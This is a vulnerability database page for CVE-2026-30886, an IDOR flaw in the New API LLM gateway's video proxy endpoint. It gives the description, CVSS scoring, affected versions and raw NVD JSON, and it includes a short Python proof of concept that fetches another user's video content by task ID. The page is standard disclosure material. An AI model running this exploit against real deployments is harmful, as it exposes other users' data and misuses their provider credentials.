Security Vulnerability Report
中文
CVE-2026-30886 CVSS 6.5 MEDIUM

CVE-2026-30886

Published: 2026-03-23 20:16:26
Last Modified: 2026-03-25 17:53:53

Description

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.11.4-alpha.2, an Insecure Direct Object Reference (IDOR) vulnerability in the video proxy endpoint (`GET /v1/videos/:task_id/content`) allows any authenticated user to access video content belonging to other users and causes the server to authenticate to upstream AI providers (Google Gemini, OpenAI) using credentials derived from tasks they do not own. The missing authorization check is a single function call — `model.GetByOnlyTaskId(taskID)` queries by `task_id` alone with no `user_id` filter, while every other task-lookup in the codebase enforces ownership via `model.GetByTaskId(userId, taskID)`. Version 0.11.4-alpha.2 contains a patch.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:newapi:new_api:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:newapi:new_api:0.11.4:alpha1:*:*:*:*:*:* - VULNERABLE
New API < 0.11.4-alpha.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target endpoint url = "http://target-domain.com/v1/videos/{task_id}/content" # Attacker's authenticated headers headers = { "Authorization": "Bearer <attacker_jwt_token>", "Content-Type": "application/json" } # Target victim's task ID (IDOR) victim_task_id = "12345" try: # Send request to access victim's content response = requests.get(url.format(task_id=victim_task_id), headers=headers) if response.status_code == 200: print("[+] Exploit Successful!") print("Response Content:") print(response.text) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30886", "sourceIdentifier": "[email protected]", "published": "2026-03-23T20:16:25.963", "lastModified": "2026-03-25T17:53:53.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.11.4-alpha.2, an Insecure Direct Object Reference (IDOR) vulnerability in the video proxy endpoint (`GET /v1/videos/:task_id/content`) allows any authenticated user to access video content belonging to other users and causes the server to authenticate to upstream AI providers (Google Gemini, OpenAI) using credentials derived from tasks they do not own. The missing authorization check is a single function call — `model.GetByOnlyTaskId(taskID)` queries by `task_id` alone with no `user_id` filter, while every other task-lookup in the codebase enforces ownership via `model.GetByTaskId(userId, taskID)`. Version 0.11.4-alpha.2 contains a patch."}, {"lang": "es", "value": "Nueva API es una pasarela de modelo de lenguaje grande (LLM) y un sistema de gestión de activos de inteligencia artificial (IA). Antes de la versión 0.11.4-alpha.2, una vulnerabilidad de Referencia Directa Insegura a Objeto (IDOR) en el endpoint de proxy de video ('GET /v1/videos/:task_id/content') permite a cualquier usuario autenticado acceder a contenido de video perteneciente a otros usuarios y hace que el servidor se autentique con proveedores de IA ascendentes (Google Gemini, OpenAI) utilizando credenciales derivadas de tareas que no poseen. La comprobación de autorización faltante es una única llamada a función — 'model.GetByOnlyTaskId(taskID)' consulta solo por 'task_id' sin filtro de 'user_id', mientras que cada otra búsqueda de tarea en la base de código impone la propiedad a través de 'model.GetByTaskId(userId, taskID)'. La versión 0.11.4-alpha.2 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newapi:new_api:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.11.4", "matchCriteriaId": "588761F3-632A-4CE6-B80E-7D3D772677B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:newapi:new_api:0.11.4:alpha1:*:*:*:*:*:*", "matchCriteriaId": "E89C616C-399A-4CE2-899E-31C9ED588FFD"}]}]}], "references": [{"url": "https://github.com/QuantumNous/new-api/commit/50ec2bac6b341e651fc9ac4344e3bd2cdaeafdbd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-f35r-v9x5-r8mc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}